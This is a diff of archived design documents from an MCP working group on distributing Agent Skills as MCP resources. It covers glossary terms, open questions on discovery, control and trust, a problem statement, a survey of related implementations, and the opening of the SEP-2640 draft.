| `skills/list` | The enumeration method every server declaring the extension MUST implement. The result MAY be empty or partial when a catalog is large, generated, or unenumerable, so an absent skill is not proof a server does not serve it. Replaced the earlier `skill://index.json` resource (decision log, 2026-07-16). |
|
||||
| `skills/get` | The retrieval method every server declaring the extension MUST implement: given a `SKILL.md` URI, it returns that skill's entry, including for skills absent from the listing, and errors for URIs the server does not serve as a skill. This is how a URI handed over by server instructions, another skill, or the user becomes a verifiable, approvable skill (decision log, 2026-07-15). |
|
||||
| Digest | The content hash (`sha256:…`) carried per file in an entry's `resources`. Hosts MUST verify fetched content against it and MUST NOT use content that mismatches; a changed `resources` set revokes any content-bound approval. Digests also let hosts cache verified copies and detect changes without re-reading. |
|
||||
| Archive | A pre-packed form of an entire skill directory (e.g. `application/gzip`) that earlier drafts listed in an `archives` array so a host could fetch a multi-file skill in one round trip. Removed from v1 (decision log, 2026-07-16); per-file `resources` with digests cover integrity, and a batch resource read is the proposed follow-up for round trips. The [threat model](threat-model.md) appendix records the constraints for any reintroduction. |
|
||||
| Directory listing | The optional `resources/directory/read` method (gated by the extension's `directoryRead` capability) that returns the direct children of a directory resource (`mimeType: inode/directory`) — metadata only, like `ls`, not a recursive read — letting an agent walk a skill's supporting files without knowing every URI in advance. Not skill-specific: a server MAY support it on any directory resource. |
|
||||
| Server-skill pairing | The pattern where an MCP server ships skills that explain how to use its own tools effectively, with skill and tools versioned and distributed together as a single unit. |
|
||||
| Multi-server composition | A workflow where a skill coordinates tools from more than one MCP server, useful when a task spans services such as a database, ticketing system, and deployment platform. |
|
||||
| Ephemeral availability | The property that a skill is available while its MCP server is connected, without requiring a separate permanent install on the client machine. |
|
||||
| Provenance | Information about where a skill came from and which server, organization, or artifact produced it — supporting trust, review, and debugging, and tied to the server-author vs. skill-author distinction. The Working Group has treated provenance as a distribution/plugin-layer concern rather than standardized skill frontmatter or resource `_meta`. |
|
||||
|
||||
## References
|
||||
|
||||
- [SEP-2640: Skills Extension](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640) — the extension these terms describe (v1 copy at [sep-draft-skills-extension.md](sep-draft-skills-extension.md))
|
||||
- [Decision Log](../decisions.md) — Working Group decisions that ground several definitions
|
||||
- [Agent Skills specification](https://agentskills.io/specification)
|
||||
- [MCP Resources specification](https://modelcontextprotocol.io/specification/2025-11-25/server/resources)
|
||||
- [MCP Tools specification](https://modelcontextprotocol.io/specification/2025-11-25/server/tools)
|
||||
- [Open Questions](open-questions.md)
|
||||
- [Approaches](approaches.md)
|
||||
- [Skill URI Scheme Proposal](skill-uri-scheme.md)
|
||||
137
docs/archive/open-questions.md
Normal file
137
docs/archive/open-questions.md
Normal file
|
|
@ -0,0 +1,137 @@
|
|||
# Open Questions
|
||||
|
||||
> ℹ️ **This document is not actively maintained.** It captures a snapshot of early discussion. Current open questions and decisions are tracked in the [meeting notes discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/categories/meeting-notes-skills-over-mcp-wg), [Discord #skills-over-mcp-wg](https://discord.com/channels/1358869848138059966/1464745826629976084), and on the [SEP-2640 PR](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640).
|
||||
|
||||
## 1. Is this a registry problem or an MCP server problem?
|
||||
|
||||
> **See also:** [#44](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/44) — Define well-known URI schemes and naming patterns for skill resources
|
||||
|
||||
Should skills be discoverable through registry metadata ("if you install this server, also install this skill") or contained within the MCP server itself?
|
||||
|
||||
A third option is emerging: domain-level discovery via `/.well-known/skills/` (see [Agent Skills Discovery RFC](https://github.com/cloudflare/agent-skills-discovery-rfc)). This decouples skill discovery from both registries and MCP servers — an organization publishes skills at a predictable URL on its own domain. This could complement MCP-level discovery rather than replace it: `.well-known` handles "find available skills," MCP handles "load and use them at runtime."
|
||||
|
||||
## 2. How do "first-class" skills differ from "skills as context"?
|
||||
|
||||
'Native' agent skills can be presented through the user agent, bundled with subagents, etc. Do MCP-surfaced skills lose capabilities compared to directly installed skills? This question also ties into a more general topic about context-as-resources discoverability and standardization of client host behavior — it's not just a skills-specific framing question.
|
||||
|
||||
For more community input on this topic see: (approaches.md#design-principles)
|
||||
|
||||
## 3. Should server.instructions be extended for richer content?
|
||||
|
||||
Or is the separation between "primitive server" and "skill that uses the primitive" the right abstraction?
|
||||
|
||||
## 4. How should skills relate to multiple servers?
|
||||
|
||||
> **Tracked in:** [#39](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/39) — Research skill dependency declaration and host-mediated resolution
|
||||
|
||||
A skill orchestrating tools from several servers can't live in any single server's instructions.
|
||||
|
||||
**Related:** [agentskills/agentskills#110](https://github.com/agentskills/agentskills/issues/110) — Discusses how skills should declare their tool/server dependencies. The lack of explicit dependency configuration makes multi-server skill execution unpredictable: if required servers and tools aren't already loaded, the skill can't reliably execute.
|
||||
|
||||
**Emerging proposal — host-mediated dependency resolution:** Skills would declare MCP servers and/or tools as dependencies in their frontmatter. The host mediates availability: if required dependencies are not present, the skill frontmatter should not be loaded into model context (it is effectively not an available skill). This model also enables local caching of skills — they can be downloaded once and used offline as long as their dependencies are available.
|
||||
|
||||
The agentskills.io spec currently has a freeform [compatibility field](https://agentskills.io/specification#compatibility-field) but no formal dependency mechanism. Some existing tools (e.g., skills.sh) handle dependencies implicitly by instructing agents to install via bash/npm/uv. Skills may also be composable (skill-to-skill dependencies) — see [Use Case 3](use-cases.md#3-multi-server-composition).
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "If [required tools/servers are] not available then the skill frontmatter shouldn't be loaded into model context, as it is effectively not an available skill. This also means that you can cache skills locally." — [Peder Holdgaard Pedersen](https://github.com/PederHP) (Saxo Bank), via Discord
|
||||
|
||||
> "If there is some standard that we can introduce to specify skill dependencies… and all platforms can read that and load the skill or not based on that would be amazing." — Sunish Sheth (Databricks), via Discord
|
||||
|
||||
> "npx skills is ok for simple use-cases but doesn't work for dependencies across Skill — i.e. if Skill 1 uses Skill 2 — which is one of the benefits of Skills — that they are composable." — [Kaxil Naik](https://github.com/kaxil) (Astronomer), via Discord
|
||||
|
||||
## 5. Do clients actually leverage skills when presented via MCP?
|
||||
|
||||
> **Tracked in:** [#38](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/38) — Survey client resource-loading support across major MCP clients
|
||||
> **See also:** [#37](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/37) — Compare skill delivery mechanisms: file-based vs MCP-based
|
||||
|
||||
Early experiments suggest they do, but more rigorous testing is needed.
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "Clients have been slow to implement support for resources. Had some parallel primitive 'skills' been implemented, I'm not sure clients would have implemented them any faster. Basically they all went for 'tools' and have slowly been getting around to implementing other primitives." — [Cliff Hall](https://github.com/cliffhall)
|
||||
|
||||
## ~~6. How do we coordinate with agent skills spec owners?~~
|
||||
|
||||
[Answered in this PR](https://github.com/modelcontextprotocol/experimental-ext-skills/pull/28)
|
||||
|
||||
## 7. What would MCP have had to get right for skills to have been shipped over MCP from the beginning?
|
||||
|
||||
> **See also:** [#47](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/47) — Create evaluation matrix mapping approaches to requirements
|
||||
|
||||
— [Keith Groves](https://github.com/keithagroves)
|
||||
|
||||
## 8. What could MCP reasonably change so that it will be the obvious choice for new formats?
|
||||
|
||||
> **See also:** [#54](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/54) — The case for custom metadata instead of a URI convention
|
||||
|
||||
— [Keith Groves](https://github.com/keithagroves)
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "It's worth noting that skills aren't the only standard, there's also Kiro Powers and inevitably others will emerge that may or may not get traction. Will clients have to keep making custom integrations for new formats?" — [Keith Groves](https://github.com/keithagroves)
|
||||
|
||||
## 9. Who gets visibility into skill content, and who decides when it gets loaded?
|
||||
|
||||
The control model question — model-controlled vs. application-controlled.
|
||||
|
||||
— [Ola Hungerford](https://github.com/olaservo)
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "One big advantage of skills over resources is that they are intended to be model-controlled by default. The people I've talked to about using MCP Resources in their servers have seen the 'application controlled' part as reducing their practical use... the bigger question for 'skills over MCP' is about the control model: who gets visibility into this content, and who decides when it gets loaded?" — [Ola Hungerford](https://github.com/olaservo)
|
||||
|
||||
## 10. How should skills handle security and trust boundaries?
|
||||
|
||||
If skills can be abused for prompt injection, what mitigations should be spec'd? (provenance, gating, explicit policy)
|
||||
|
||||
— [Prince Roshan](https://github.com/Agent-Hellboy)
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "If a user registers an MCP server, they are already extending their trust boundary. A malicious server can do far worse via tools than via a 'skill' document." — [sebthom](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/2167#issuecomment-3824771018)
|
||||
|
||||
Proposed mitigations: skills are untrusted docs not directives; clients MUST NOT auto-apply without explicit policy; skills should be presented with provenance and be optionally gated.
|
||||
|
||||
The distribution channel itself also has trust implications. Current skill distribution via git repos can be problematic from a security and trust perspective, particularly for enterprises. MCP's authenticated server model provides a more controlled distribution channel, but the trust model should align with existing MCP trust boundaries — not position MCP as a marketplace for arbitrary third-party content.
|
||||
|
||||
> "Current distribution of skills is a nightmare in terms of security and trust — both from an end-user and enterprise point-of-view. A git repo is a problematic distribution channel." — [Peder Holdgaard Pedersen](https://github.com/PederHP) (Saxo Bank), via Discord
|
||||
|
||||
> "The trust model is same as MCP, based on server trust, so broadly I think we want to discourage using MCP as a mechanism for providing a skills marketplace for arbitrary 3rd party content." — [Sam Morrow](https://github.com/SamMorrowDrums) (GitHub), via Discord
|
||||
|
||||
## 11. Should the control model be use-case specific?
|
||||
|
||||
Perhaps resources (application-controlled) for some use cases, tools (model-controlled) for others? Can a convention support both?
|
||||
|
||||
Note: Some apps like Claude Code have started to indicate in the skill frontmatter whether a particular skill should be model-controlled-only, human-controlled-only, or either — and has also started to blur the lines between slash commands and skills.
|
||||
|
||||
## 12. Why not just resources?
|
||||
|
||||
> **See also:** [#54](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/54) — The case for custom metadata instead of a URI convention, [#55](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/55) — Define recommended _meta keys for skill resources
|
||||
|
||||
**Core Maintainer input:**
|
||||
|
||||
> "Why not just resources? That feels like the obvious implementation since skills are just files and resources already exist to expose files. i.e. just expose skills as resources the same as they're currently exposed on the filesystem and then just use the existing Agent Skills specification — client can find skills using resources/list to find SKILL.md files." — [Peter Alexander](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2076#discussion_r2736299627)
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "I'd like Skills to be 'more official' than generic resources — which could be ANYTHING. More specifically, skill as a separate spec may advance in the near future, e.g. versioning etc., so having MCP as an official distribution mechanism and support it in the current and future form is important." — [Yu Yi](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2076#discussion_r2747846895)
|
||||
|
||||
> "If the conclusion is 'just use resources', I am fine with that direction too — but then we should standardize a way to identify and list workflow resources as 'skills' so clients can reliably surface them (otherwise we are back to out-of-band conventions)." — [sebthom](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/2167#issuecomment-3824771018)
|
||||
|
||||
See also [Approaches](approaches.md) for more notes on using resources.
|
||||
|
||||
## 13. What is the optimal relationship between skills and MCP?
|
||||
|
||||
> **Tracked in:** [#75](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/75) — Skills Extension SEP (submitted as [SEP-2640](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640))
|
||||
> **See also:** [#47](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/47) — Create evaluation matrix mapping approaches to requirements
|
||||
|
||||
Skills already work as simple files that agents load directly. Adding MCP to the process should provide clear value beyond what standalone skills already offer.
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "Skills are simple files that agents can load directly even if they don't have any MCP servers connected. Adding MCP to the process only for that would be over complicating something that already works well... the question becomes 'what is the optimal relationship between skills and MCP?'" — [Cliff Hall](https://github.com/cliffhall)
|
||||
|
||||
> "Skills can be benefit from MCP Servers as an "official" distribution channel from an organizations. Also, Skills _can be_ dependendent on the specific tools _only_ available on the MCP server they are distributed with. I see Skills and MCP are complementary to each other." — [Yu Yi](https://github.com/erain)
|
||||
|
||||
> "MCP servers are most useful as an appendage of skills, like `scripts/` are. That also naturally answers the question of multi-server skills." — [Jonathan Hefner](https://github.com/jonathanhefner)
|
||||
31
docs/archive/problem-statement.md
Normal file
31
docs/archive/problem-statement.md
Normal file
|
|
@ -0,0 +1,31 @@
|
|||
# Problem Statement
|
||||
|
||||
[Agent Skills](https://agentskills.io/home) support in AI applications demonstrates demand for rich workflow instructions, but there's no convention for exposing equivalent functionality through MCP primitives.
|
||||
|
||||
## Current Limitations
|
||||
|
||||
- **Server instructions load only at initialization** — new or updated skills require re-initializing the server
|
||||
- **Complex workflows exceed practical instruction size** — some skills require hundreds of lines of markdown with references to bundled files, scripts, and examples
|
||||
- **No discovery mechanism** — users installing MCP servers from a registry don't know if there's a corresponding skill they should also install
|
||||
- **Multi-server orchestration** — skills may need to coordinate tools from multiple servers, which doesn't fit the single-server instruction model
|
||||
|
||||
## Broader Context
|
||||
|
||||
Skills discoverability is a specific instance of a more general MCP challenge: context-as-resources discoverability and standardization of client host behavior around non-tool primitives. The ecosystem has largely optimized for tools, and patterns for how clients discover and consume other forms of context — including skills — remain underdeveloped. Solutions in this space are likely to have implications beyond skills alone.
|
||||
|
||||
MCP's value for skills goes beyond distribution; it provides an interaction model. MCP defines app, human, and assistant roles, giving skills a built-in framework for control model decisions (who sees the content, who decides when it loads). This makes MCP a natural complement to skills as a delivery channel for workflow instructions.
|
||||
|
||||
## Key Use Cases
|
||||
|
||||
See [use-cases.md](use-cases.md) for detailed use cases and community input. In summary:
|
||||
|
||||
1. **Complex Workflow Orchestration** — Multi-step workflows requiring 875+ lines of instruction (e.g., [mcpGraph](https://github.com/TeamSparkAI/mcpGraph))
|
||||
2. **Conditional Workflows** — Branching instructions dynamically loaded based on context
|
||||
3. **Multi-Server Composition** — Skills leveraging tools from multiple off-the-shelf servers
|
||||
4. **Progressive Disclosure** — Skills broken into linked file sets, loaded on demand
|
||||
|
||||
## Open Questions
|
||||
|
||||
See [open-questions.md](open-questions.md) for the full list of unresolved questions with community input.
|
||||
|
||||
For the value proposition and a guide on when MCP distribution applies, see [why-and-when.md](why-and-when.md).
|
||||
84
docs/archive/related-work.md
Normal file
84
docs/archive/related-work.md
Normal file
|
|
@ -0,0 +1,84 @@
|
|||
# Related Work
|
||||
|
||||
## SEPs and Proposals
|
||||
|
||||
| Proposal | Venue | Description |
|
||||
| :--- | :--- | :--- |
|
||||
| [SEP-2640 (Skills Extension)](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640) | MCP Spec | This WG's proposed extension: skills served over MCP using the Resources primitive and `skill://` URI scheme ([v1 baseline text](sep-draft-skills-extension.md)) |
|
||||
| [PR #2527](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2527) | MCP Spec | Recommend clients expose resource read to models — prerequisite for the resources-based skills approach |
|
||||
| [skills.json format proposal](https://github.com/modelcontextprotocol/registry/discussions/895) | MCP Registry | Skills metadata in registry schema |
|
||||
| ~~[SEP-2093](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2093)~~ | MCP Spec | ~~Resource Contents Metadata and Capabilities: scoped `resources/list`, per-resource capabilities, `resources/metadata` endpoint~~ — **rejected** ([labeled upstream](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2093)) |
|
||||
| ~~[SEP-2076](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2076)~~ | MCP Spec | ~~Agent Skills as a first-class MCP primitive~~ — **closed** (2026-02-24, without merge) |
|
||||
|
||||
> Client support for the extension is tracked on the official [extension client matrix](https://modelcontextprotocol.io/extensions/client-matrix). The implementation tables below are frozen; [implementations.md](../implementations.md) has more recent information.
|
||||
|
||||
## Working Group Member Implementations
|
||||
|
||||
Work by WG leads and active participants that directly implements the group's core patterns: SKILL.md with YAML frontmatter, `skill://` resource URIs, and progressive disclosure via MCP primitives.
|
||||
|
||||
| Implementation | Author | URL | Notes |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| skilljack-mcp | Ola Hungerford | [github.com/olaservo/skilljack-mcp](https://github.com/olaservo/skilljack-mcp) | SKILL.md, `skill://` resources, tools, and prompts; progressive disclosure (index→skill→files); file watching for dynamic updates; audience annotations |
|
||||
| skills-over-mcp | Keith Groves | [github.com/keithagroves/skills-over-mcp](https://github.com/keithagroves/skills-over-mcp) | SKILL.md, `skill://` resources with progressive disclosure (index→skill→documents); Zod validation against Agent Skills spec |
|
||||
| skillsdotnet | Peder HP | [github.com/PederHP/skillsdotnet](https://github.com/PederHP/skillsdotnet) | C# implementation: SKILL.md, `skill://` resources, `load_skill` tool for progressive disclosure, manifest with file hashes; published on NuGet; compatible with FastMCP 3.0 |
|
||||
|
||||
## Alternative Approaches
|
||||
|
||||
Work by WG members and MCP maintainers that explores skills over MCP through different technical approaches than the core SKILL.md / `skill://` pattern.
|
||||
|
||||
| Implementation | Author | Organization | URL | Notes |
|
||||
| :--- | :--- | :--- | :--- | :--- |
|
||||
| skillful-mcp | Kurtis Van Gent | Google Cloud | [github.com/kurtisvg/skillful-mcp](https://github.com/kurtisvg/skillful-mcp) | Progressive disclosure via 4 lightweight tools (`list_skills`, `use_skill`, `read_resource`, `execute_code`); wraps downstream MCP servers as skills using `mcp.json` config rather than SKILL.md; sandboxed code execution via Monty |
|
||||
| Astronomer agents | Kaxil Naik | Astronomer | [github.com/astronomer/agents](https://github.com/astronomer/agents) | Production skills catalog for Apache Airflow (blueprint, migration, warehouse-init); uses SKILL.md frontmatter but distributed via plugin marketplace rather than MCP resources; demonstrates real-world skills adoption at scale |
|
||||
| mcpGraph skill | Bob Dickinson | TeamSpark.ai | [github.com/TeamSparkAI/mcpGraph](https://github.com/TeamSparkAI/mcpGraph) | Declarative YAML-based tool orchestration engine (directed graphs of MCP tool calls); includes SKILL.md files as documentation; explores a complementary "no-code composition" approach to skill authoring |
|
||||
|
||||
## Other Community Implementations
|
||||
|
||||
External projects building on skills patterns or integrating skills into frameworks.
|
||||
|
||||
| Implementation | Author | URL | Notes |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| FastMCP 3.0 Skills | FastMCP | [gofastmcp.com/servers/providers/skills](https://gofastmcp.com/servers/providers/skills) | Native skills provider ([#2694](https://github.com/jlowin/fastmcp/issues/2694)) |
|
||||
| PydanticAI Skills | PydanticAI | [pydantic/pydantic-ai#3780](https://github.com/pydantic/pydantic-ai/pull/3780) | Agent skills with tools-based approach |
|
||||
| mcp-execution | bug-ops | [github.com/bug-ops/mcp-execution](https://github.com/bug-ops/mcp-execution) | Compiles MCP servers into skill packages; `--dry-run` preview |
|
||||
| mcp-cli | philschmid | [github.com/philschmid/mcp-cli](https://github.com/philschmid/mcp-cli) | Wraps MCP servers as CLI for progressive disclosure |
|
||||
| my-cool-proxy | karashiiro | [github.com/karashiiro/my-cool-proxy](https://github.com/karashiiro/my-cool-proxy) | MCP gateway with skills as resources via Lua scripts; result offloading, session persistence (v1.6.x) |
|
||||
| NimbleBrain skills repo | NimbleBrain | [github.com/NimbleBrainInc/skills](https://github.com/NimbleBrainInc/skills) | Monorepo with `.skill` artifact format |
|
||||
| NimbleBrain registry | NimbleBrain | [registry.nimbletools.ai](https://registry.nimbletools.ai/) | Registry with skill metadata support |
|
||||
| NimbleBrain skill:// servers | NimbleBrain | [github.com/NimbleBrainInc](https://github.com/NimbleBrainInc) | skill:// resource colocation examples: [mcp-ipinfo](https://github.com/NimbleBrainInc/mcp-ipinfo), [mcp-webfetch](https://github.com/NimbleBrainInc/mcp-webfetch), [mcp-pdfco](https://github.com/NimbleBrainInc/mcp-pdfco), [mcp-folk](https://github.com/NimbleBrainInc/mcp-folk), [mcp-brave-search](https://github.com/NimbleBrainInc/mcp-brave-search) |
|
||||
| Kiro powers directory | Kiro | [github.com/kirodotdev/powers](https://github.com/kirodotdev/powers/) | Plugin directory bundling skills + MCP servers; active catalog (AWS, GCP migration, SAM, etc.) |
|
||||
| mcpkit (ext/skills) | Sri Panyam | [github.com/panyam/mcpkit](https://github.com/panyam/mcpkit) | Go SDK, server + host: SKILL.md, `skill://` resources, progressive disclosure (`skill://index.json` catalog + host `load_skill` tool); per-supporting-file digests with verified reads, resource-fetch size + per-server byte budget, `resources/directory/read`; no code-execution surface (enforced by a build-failing test); released in v0.3.0 |
|
||||
|
||||
## Related Ecosystem Work
|
||||
|
||||
Projects that illustrate the problem space or use adjacent patterns.
|
||||
|
||||
| Project | Author | URL | Notes |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| chrome-devtools-mcp | Google (ChromeDevTools) | [github.com/ChromeDevTools/chrome-devtools-mcp](https://github.com/ChromeDevTools/chrome-devtools-mcp) | Real-world example of the problem: `skills/` folder requires separate install path |
|
||||
| Strands Agents MCP server | AWS | [github.com/strands-agents/mcp-server](https://github.com/strands-agents/mcp-server/) | Docs-as-MCP: TF-IDF search + doc fetch |
|
||||
| AWS MCP server | AWS | [docs.aws.amazon.com/aws-mcp/…](https://docs.aws.amazon.com/aws-mcp/latest/userguide/understanding-mcp-server-tools.html) | `retrieve_agent_sop` (skills) + `call_aws` (tool) |
|
||||
|
||||
## Specifications and Standards
|
||||
|
||||
- **Agent Skills Standard:** [agentskills.io](https://agentskills.io/)
|
||||
- **Agent Skills Discovery RFC v0.2.0** (Matt Silverlock / Cloudflare): [github.com/cloudflare/agent-skills-discovery-rfc](https://github.com/cloudflare/agent-skills-discovery-rfc) — Domain-level skill discovery using `/.well-known/agent-skills/` (RFC 8615). Defines `index.json` with progressive disclosure, `skill-md` and `archive` distribution types, `$schema` versioning, SHA-256 content integrity, and archive safety requirements. Complementary to MCP-level discovery: `.well-known` answers "what skills does this domain publish?" while MCP answers "how does the agent consume them at runtime?"
|
||||
- **Skill dependency declaration:** [agentskills/agentskills#110](https://github.com/agentskills/agentskills/issues/110) — Discusses how skills should declare their tool/server dependencies
|
||||
- **Apache Airflow AIP-91** (MCP integration): [cwiki.apache.org/…/AIP-91+-+MCP](https://cwiki.apache.org/confluence/display/AIRFLOW/AIP-91+-+MCP)
|
||||
|
||||
## Integrity, Content Addressing, and Attestation
|
||||
|
||||
Related work on establishing and verifying the integrity, authenticity, and provenance of skill resources.
|
||||
|
||||
- **skill-set format (draft)** (Harry Martin / flocker.md): [skill-set.md](https://skill-set.md/) — Transport-agnostic manifest specification and CLI for named, versioned collections of skills assembled from disparate sources. Defines deterministic whole-skill content hashes and set-level roll-ups, lockfiles, receipt-time content verification, and optional out-of-band URL-fragment pins. Complementary to SEP-2640: provides prior art for deriving a single content address from a complete `{uri, digest}` resource set and for future whole-skill or multi-skill attestations. See the [reference directory](https://skill-sets.md/sets/skill-authoring/) for an immutable example.
|
||||
|
||||
## Background Reading
|
||||
|
||||
- **Anthropic's guidance on progressive disclosure:** [Equipping agents for the real world with agent skills](https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills)
|
||||
- **"MCP and Skills: Why Not Both?"** (Kurtis Van Gent): [kvg.dev/posts/20260125-skills-and-mcp/](https://kvg.dev/posts/20260125-skills-and-mcp/) — Frames MCP (connectivity) and Skills (context saturation) as complementary; discusses hybrid approaches
|
||||
- **"Skills Over MCP"** (Angie Jones, Agentic AI Foundation): [aaif.io/blog/skills-over-mcp/](https://aaif.io/blog/skills-over-mcp/) — "Ship the manual with the product": bundle Agent Skills with MCP servers so agents get both tools and instructional guidance. Describes the working group's proposal (SEP-2640) — `skill://` resources, a `skill://index.json` catalog for lightweight discovery, and progressive disclosure of full instructions on demand
|
||||
- **"Progressive Discovery in MCP, Part 2"** (Sam Morrow, GitHub MCP Server maintainer): [sam-morrow.com/blog/progressive-discovery-in-mcp-part-2](https://sam-morrow.com/blog/progressive-discovery-in-mcp-part-2) — Advocates skills-based progressive discovery to solve tool bloat: `skill://` resources, deferred tool loading via provider mechanisms (Anthropic `tool_reference`, OpenAI `defer_loading`), and the `io.modelcontextprotocol/tools` metadata namespace. Grounded in lessons from GitHub's MCP Server (100+ tools, 12M weekly calls)
|
||||
- **Conceptual spec visualization** (Keith Groves): [enact-465fb1fc.mintlify.app/specification/draft/server/skills](https://enact-465fb1fc.mintlify.app/specification/draft/server/skills) — "What if" exploration
|
||||
- **llms.txt convention:** [llmstxt.org](https://llmstxt.org/) — Convention for making documentation LLM-accessible; used by [MCPDoc](https://github.com/langchain-ai/mcpdoc) in a way similar to how skills work
|
||||
- **AWS Agent SOPs:** [docs.aws.amazon.com/…/agent-sops](https://docs.aws.amazon.com/aws-mcp/latest/userguide/agent-sops.html) — Pre-built operational workflows as skill-like guidance
|
||||
- **Video background:** [youtube.com/watch?v=CEvIs9y1uog](https://www.youtube.com/watch?v=CEvIs9y1uog)
|
||||
656
docs/archive/sep-draft-skills-extension.md
Normal file
656
docs/archive/sep-draft-skills-extension.md
Normal file
|
|
@ -0,0 +1,656 @@
|
|||
# SEP-2640: Skills Extension
|
||||
|
||||
- **Status**: Draft
|
||||
- **Type**: Extensions Track
|
||||
- **Created**: 2026-04-23
|
||||
- **Author(s)**: Peter Alexander (@pja-ant), Ola Hungerford (@olaservo), Sambhav Kothari (@sambhav), Aditya Kumar (@aditya-scio), on behalf of the Skills Over MCP Working Group
|
||||
- **Sponsor**: @pja-ant
|
||||
- **Extension Identifier**: `io.modelcontextprotocol/skills`
|
||||
- **PR**: https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640
|
||||
|
||||
> # 📄 Source of truth: [modelcontextprotocol#2640](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640)
|
||||
>
|
||||
> **The v1 spec text lives on that PR. Review and comments belong there, not on this copy.**
|
||||
>
|
||||
> This file is the v1 baseline: a verbatim copy of the canonical SEP at commit [`753b9f2`](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/753b9f2be43e07fdd070e535d75f190cff14beea/seps/2640-skills-extension.md) (2026-08-22) on the [`sep/skills-extension`](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/sep/skills-extension/seps/2640-skills-extension.md) branch, kept here so Working Group discussion and decision records can quote and link stable text. It is only as current as that pinned commit. For what v1 comprises and why, see the 2026-07-16 v1 scope entry in the [decision log](../decisions.md).
|
||||
>
|
||||
> **To propose a change beyond v1**, add a dated entry to [`decisions.md`](../decisions.md) with **Status: Proposed**, in the ADR-lite format used throughout that file — the PR carrying that entry is the proposal. Once a proposal is accepted, the resulting spec text is applied to this document and its section marked with a pointer to the record:
|
||||
>
|
||||
> ```markdown
|
||||
> > **Beyond v1** — [2026-08-04: Batch resource read](../decisions.md) · Proposed
|
||||
> ```
|
||||
>
|
||||
> A section without such a marker is v1 as it stands upstream. Re-sync by overwriting the unmarked text from the canonical file and updating the commit reference above.
|
||||
>
|
||||
> Discussion: [GitHub Issues](https://github.com/modelcontextprotocol/experimental-ext-skills/issues) · [Discord #skills-over-mcp-wg](https://discord.com/channels/1358869848138059966/1464745826629976084)
|
||||
|
||||
<Note>
|
||||
This SEP was developed by the [Skills Over MCP Working Group](https://modelcontextprotocol.io/community/skills-over-mcp/charter).
|
||||
Design history, experimental findings, and reference implementations are maintained in the
|
||||
[experimental-ext-skills repository](https://github.com/modelcontextprotocol/experimental-ext-skills).
|
||||
</Note>
|
||||
|
||||
## Abstract
|
||||
|
||||
This SEP defines a convention for serving [Agent Skills](https://agentskills.io/) over MCP using the existing Resources primitive. A _skill_ is a directory of files (minimally a `SKILL.md`) that provides structured workflow instructions to an agent. This extension specifies that each file in a skill directory is exposed as an MCP resource, conventionally under the `skill://` URI scheme. Skills are addressed by URI and may be read directly; a `skills/list` method enumerates the skills a server serves — servers whose skill catalogs are large, generated, or otherwise unenumerable MAY return an empty or partial listing — and a `skills/get` method returns any single skill's entry by URI. The skill format itself — directory structure, YAML frontmatter, naming rules, and the [progressive disclosure](https://agentskills.io/specification#progressive-disclosure) model that governs how hosts stage content into context — is delegated entirely to the [Agent Skills specification](https://agentskills.io/specification); this SEP defines only the transport binding.
|
||||
|
||||
The extension defines three protocol methods. Every server declaring the extension implements `skills/list`, which enumerates the skills a server serves, and `skills/get`, which returns the entry for a single skill by URI — including skills absent from the listing. The optional `resources/directory/read` lists the direct children of a directory resource, giving agents scoped navigation of a skill's supporting files. Everything else rides on existing protocol surface, so hosts that already treat MCP resources as a virtual filesystem can consume MCP-served skills identically to local filesystem skills. The specification is accompanied by implementation guidelines for host-provided resource-reading tools and SDK-level convenience wrappers.
|
||||
|
||||
## Motivation
|
||||
|
||||
Native skills support in host applications demonstrates strong demand for rich, progressively disclosed workflow instructions. MCP does not currently offer a conventional way to ship this content alongside the tools it describes, which leads to:
|
||||
|
||||
- **Fragmented distribution.** A server and the skill that teaches an agent to use it are versioned, discovered, and installed separately. Users installing a server from a registry have no signal that a companion skill exists. ([problem statement](https://github.com/modelcontextprotocol/experimental-ext-skills/blob/main/docs/problem-statement.md))
|
||||
- **Instruction size limits.** Server instructions are delivered as the `instructions` field of the `server/discover` result and are practically bounded in size. Complex workflows — such as the 875-line [mcpGraph skill](https://github.com/TeamSparkAI/mcpGraph/blob/main/skills/mcpgraphtoolkit/SKILL.md) — do not fit this model. ([experimental findings](https://github.com/modelcontextprotocol/experimental-ext-skills/blob/main/docs/experimental-findings.md#mcpgraph-skills-in-mcp-server-repo))
|
||||
- **Inconsistent ad-hoc solutions.** Absent a convention, several independent implementations have each invented their own `skill://` URI structure, with diverging semantics for authority, path, and sub-resource addressing.
|
||||
|
||||
## Specification
|
||||
|
||||
### Dependencies
|
||||
|
||||
